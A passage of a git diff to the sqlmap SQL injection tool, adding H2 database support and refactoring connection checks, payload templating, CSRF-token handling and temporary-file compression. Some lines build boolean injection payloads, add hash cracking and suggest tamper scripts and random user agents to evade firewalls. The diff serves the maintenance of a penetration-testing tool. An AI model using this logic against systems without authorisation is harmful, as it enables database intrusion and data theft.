_(*args, **kwargs): return retVal +@stackedmethod def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 @@ -1461,11 +1496,11 @@ def checkNullConnection(): infoMsg = "testing NULL connection to the target URL" logger.info(infoMsg) - try: - pushValue(kb.pageCompress) - kb.pageCompress = False + pushValue(kb.pageCompress) + kb.pageCompress = False - page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) + try: + page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.HEAD @@ -1489,9 +1524,8 @@ def checkNullConnection(): infoMsg = "NULL connection is supported with 'skip-read' method" logger.info(infoMsg) - except SqlmapConnectionException, ex: - errMsg = getSafeExString(ex) - raise SqlmapConnectionException(errMsg) + except SqlmapConnectionException: + pass finally: kb.pageCompress = popValue() @@ -1499,18 +1533,23 @@ def checkNullConnection(): return kb.nullConnection is not None def checkConnection(suppressOutput=False): - if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): - try: - debugMsg = "resolving hostname '%s'" % conf.hostname - logger.debug(debugMsg) - socket.getaddrinfo(conf.hostname, None) - except socket.gaierror: - errMsg = "host '%s' does not exist" % conf.hostname - raise SqlmapConnectionException(errMsg) - except socket.error, ex: - errMsg = "problem occurred while " - errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) - raise SqlmapConnectionException(errMsg) + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname): + if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): + try: + debugMsg = "resolving hostname '%s'" % conf.hostname + logger.debug(debugMsg) + socket.getaddrinfo(conf.hostname, None) + except socket.gaierror: + errMsg = "host '%s' does not exist" % conf.hostname + raise SqlmapConnectionException(errMsg) + except socket.error, ex: + errMsg = "problem occurred while " + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) + except UnicodeError, ex: + errMsg = "problem occurred while " + errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) + raise SqlmapDataException(errMsg) if not suppressOutput and not conf.dummy and not conf.offline: infoMsg = "testing connection to the target URL" @@ -1523,6 +1562,10 @@ def checkConnection(suppressOutput=False): kb.errorIsNone = False + if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS): + singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) + conf.disablePrecon = True + if not kb.originalPage and wasLastResponseHTTPError(): errMsg = "unable to retrieve page content" raise SqlmapConnectionException(errMsg) @@ -1538,6 +1581,15 @@ def checkConnection(suppressOutput=False): else: kb.errorIsNone = True + threadData = getCurrentThreadData() + + if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: + if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]: + conf.url = re.sub(r"https?://", "https://", conf.url) + match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) + port = match.group(1) if match else 443 + conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url) + except SqlmapConnectionException, ex: if conf.ipv6: warnMsg = "check connection to a provided " @@ -1568,8 +1620,8 @@ def checkInternet(): content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] return CHECK_INTERNET_VALUE in (content or "") -def setVerbosity(): # Cross-linked function +def setVerbosity(): # Cross-referenced function raise NotImplementedError -def setWafFunctions(): # Cross-linked function +def setWafFunctions(): # Cross-referenced function raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index b491f3bd4b8..45924c6264f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,6 +43,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CONTENT_TYPE from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST @@ -55,9 +56,11 @@ from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSkipTargetException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import ASP_NET_CONTROL_REGEX +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import IGNORE_PARAMETERS @@ -68,6 +71,7 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv +from lib.utils.hash import crackHashFile def _selectInjection(): """ @@ -152,12 +156,15 @@ def _formatInjection(inj): vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title - data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus)) + data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data def _showInjections(): + if conf.wizard and kb.wizardMode: + kb.wizardMode = False + if kb.testQueryCount > 0: header = "sqlmap identified the following injection point(s) with " header += "a total of %d HTTP(s) requests" % kb.testQueryCount @@ -239,17 +246,22 @@ def _saveToResultsFile(): results[key].extend(injection.data.keys()) - for key, value in results.items(): - place, parameter, notes = key - line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) - conf.resultsFP.write(line) + try: + for key, value in results.items(): + place, parameter, notes = key + line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) + conf.resultsFP.write(line) - if not results: - line = "%s,,,,%s" % (conf.url, os.linesep) - conf.resultsFP.write(line) + if not results: + line = "%s,,,,%s" % (conf.url, os.linesep) + conf.resultsFP.write(line) - conf.resultsFP.flush() + conf.resultsFP.flush() + except IOError, ex: + errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) +@stackedmethod def start(): """ This function calls a function that performs checks on both URL @@ -257,6 +269,9 @@ def start(): check if they are dynamic and SQL injection affected """ + if conf.hashFile: + crackHashFile(conf.hashFile) + if conf.direct: initTargetEnv() setupTargetEnv() @@ -283,7 +298,7 @@ def start(): try: if conf.checkInternet: - infoMsg = "[INFO] checking for Internet connection" + infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): @@ -302,6 +317,7 @@ def start(): conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) + conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] initTargetEnv() parseTargetUrl() @@ -368,9 +384,8 @@ def start(): conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: - if targetUrl.find("?") > -1: - firstPart = targetUrl[:targetUrl.find("?")] - secondPart = targetUrl[targetUrl.find("?") + 1:] + if '?' in targetUrl: + firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) @@ -404,8 +419,7 @@ def start(): if conf.nullConnection: checkNullConnection() - if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ - and (kb.injection.place is None or kb.injection.parameter is None): + if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display @@ -495,14 +509,14 @@ def start(): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) - elif parameter == conf.csrfToken: + elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) @@ -521,7 +535,7 @@ def start(): testSqlInj = False else: - infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) + infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) @@ -628,6 +642,9 @@ def start(): errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" + if not conf.randomAgent: + errMsg += " and/or switch '--random-agent'" + raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 988efd12c1c..9fb0cda6e4e 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,6 +10,7 @@ from lib.core.data import kb from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS +from lib.core.exception import SqlmapConnectionException from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES @@ -21,6 +22,7 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.utils.sqlalchemy import SQLAlchemy @@ -46,6 +48,8 @@ from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn +from plugins.dbms.h2 import H2Map +from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.informix import InformixMap from plugins.dbms.informix.connector import Connector as InformixConn @@ -56,19 +60,20 @@ def setHandler(): """ items = [ - (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), - (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), - (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), - (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), - (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), - (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), - (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), - (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), - (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), - (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), - (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), - (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), - ] + (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), + (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), + (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), + (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), + (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), + (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), + (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), + (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), + (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), + (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), + (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), + (DBMS.H2, H2_ALIASES, H2Map, H2Conn), + (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), + ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items) if _: @@ -90,29 +95,41 @@ def setHandler(): conf.dbmsConnector = Connector() if conf.direct: + exception = None dialect = DBMS_DICT[dbms][3] if dialect: - sqlalchemy = SQLAlchemy(dialect=dialect) - sqlalchemy.connect() - - if sqlalchemy.connector: - conf.dbmsConnector = sqlalchemy - else: - try: - conf.dbmsConnector.connect() - except NameError: - pass - else: - conf.dbmsConnector.connect() + try: + sqlalchemy = SQLAlchemy(dialect=dialect) + sqlalchemy.connect() + + if sqlalchemy.connector: + conf.dbmsConnector = sqlalchemy + except Exception, ex: + exception = ex + + if not dialect or exception: + try: + conf.dbmsConnector.connect() + except Exception, ex: + if exception: + raise exception + else: + if not isinstance(ex, NameError): + raise + else: + msg = "support for direct connection to '%s' is not available. " % dbms + msg += "Please rerun with '--dependencies'" + raise SqlmapConnectionException(msg) if conf.forceDbms == dbms or handler.checkDbms(): if kb.resolutionDbms: conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() + conf.dbmsHandler._dbms = kb.resolutionDbms else: conf.dbmsHandler = handler + conf.dbmsHandler._dbms = dbms - conf.dbmsHandler._dbms = dbms break else: conf.dbmsConnector = None diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index ac41aadc201..19b6a07b735 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,6 +43,7 @@ from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.unescaper import unescaper @@ -121,8 +122,8 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue - origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue[origValue.find(',') + 1:] + origValue = origValue.split(kb.customInjectionMark)[0] match = re.search(r"([^;]+)=(?P[^;]*);?\Z", origValue) if match: origValue = match.group("value") @@ -142,7 +143,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N match = re.search(r"\A[^ ]+", newValue) newValue = newValue[len(match.group() if match else ""):] _ = randomInt(2) - value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) + value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: value = randomInt(6) elif conf.invalidString: @@ -198,7 +199,7 @@ def _(pattern, repl, string): regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: - retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) @@ -246,6 +247,9 @@ def prefixQuery(self, expression, prefix=None, where=None, clause=None): else: query = kb.injection.prefix or prefix or "" + if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes + query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False)) + if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " @@ -294,22 +298,29 @@ def cleanupPayload(self, payload, origValue=None): if payload is None: return - _ = ( - ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ - ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ - ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) - ) - payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) - - for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): + replacements = ( + ("[DELIMITER_START]", kb.chars.start), + ("[DELIMITER_STOP]", kb.chars.stop), + ("[AT_REPLACE]", kb.chars.at), + ("[SPACE_REPLACE]", kb.chars.space), + ("[DOLLAR_REPLACE]", kb.chars.dollar), + ("[HASH_REPLACE]", kb.chars.hash_), + ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) + ) + payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload) + + for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): payload = payload.replace(_, str(randomInt())) - for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): + for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): payload = payload.replace(_, randomStr()) - if origValue is not None and "[ORIGVALUE]" in payload: + if origValue is not None: origValue = getUnicode(origValue) - payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) + if "[ORIGVALUE]" in payload: + payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) + if "[ORIGINAL]" in payload: + payload = getUnicode(payload).replace("[ORIGINAL]", origValue) if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: @@ -338,6 +349,7 @@ def adjustLateValues(self, payload): if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) + payload = payload.replace(SINGLE_QUOTE_MARKER, "'") for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) @@ -531,7 +543,7 @@ def getFields(self, query): fieldsToCastStr = fieldsToCastStr or "" # Function - if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: + if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) @@ -612,7 +624,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -623,7 +635,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) - concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery) + concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -635,7 +647,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) + topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: @@ -811,7 +823,7 @@ def limitCondition(self, expression, dump=False): limitRegExp2 = None if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -901,14 +913,14 @@ def limitQuery(self, num, query, field=None, uniqueField=None): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: - limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() + limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip() limitedQuery += " %s" % match.group(0) if query.startswith("SELECT "): @@ -928,7 +940,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - if not " ORDER BY " in limitedQuery: + if " ORDER BY " not in limitedQuery: limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] @@ -1082,7 +1094,7 @@ def whereQuery(self, query): if conf.dumpWhere and query: prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") - if "%s)" % conf.tbl.upper() in prefix.upper(): + if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) elif re.search(r"(?i)\bWHERE\b", prefix): prefix += " AND %s" % conf.dumpWhere diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 51f93404a8e..8d816a2dd87 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,20 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: - import cPickle as pickle + import cPickle as pickle except: - import pickle + import pickle +import bz2 import itertools import os import sys import tempfile -import zlib from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapSystemException @@ -86,11 +86,11 @@ def pop(self): self.chunks.pop() try: with open(self.chunks[-1], "rb") as f: - self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) + self.chunks[-1] = pickle.loads(bz2.decompress(f.read())) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message - raise SqlmapSystemException, errMsg + raise SqlmapSystemException(errMsg) return self.chunks[-1].pop() @@ -107,7 +107,7 @@ def _dump(self, chunk): self.filenames.add(filename) os.close(handle) with open(filename, "w+b") as f: - f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError), ex: errMsg = "exception occurred while storing data " @@ -115,7 +115,7 @@ def _dump(self, chunk): errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" - raise SqlmapSystemException, errMsg + raise SqlmapSystemException(errMsg) def _checkcache(self, index): if (self.cache and self.cache.index != index and self.cache.dirty): @@ -125,11 +125,11 @@ def _checkcache(self, index): if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) - except IOError, ex: + self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) + except Exception, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message - raise SqlmapSystemException, errMsg + raise SqlmapSystemException(errMsg) def __getstate__(self): return self.chunks, self.filenames diff --git a/lib/core/common.py b/lib/core/common.py index 3024e373e46..0aa977cc66f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import binascii import codecs import contextlib import cookielib @@ -19,6 +20,7 @@ import logging import ntpath import os +import platform import posixpath import random import re @@ -74,6 +76,7 @@ from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import LOGGING_LEVELS from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import OPTION_TYPE from lib.core.enums import OS @@ -99,7 +102,10 @@ from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK +from lib.core.settings import BURP_REQUEST_REGEX +from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import DBMS_DIRECTORY_DICT +from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER @@ -137,6 +143,7 @@ from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PLATFORM from lib.core.settings import PRINTABLE_CHAR_REGEX +from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PYVERSION from lib.core.settings import REFERER_ALIASES @@ -159,6 +166,7 @@ from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import VERSION_STRING +from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy from thirdparty.clientform.clientform import ParseResponse @@ -592,11 +600,9 @@ def paramToDict(place, parameters=None): if condition: testableParameters[parameter] = "=".join(parts[1:]) - if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): + if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, 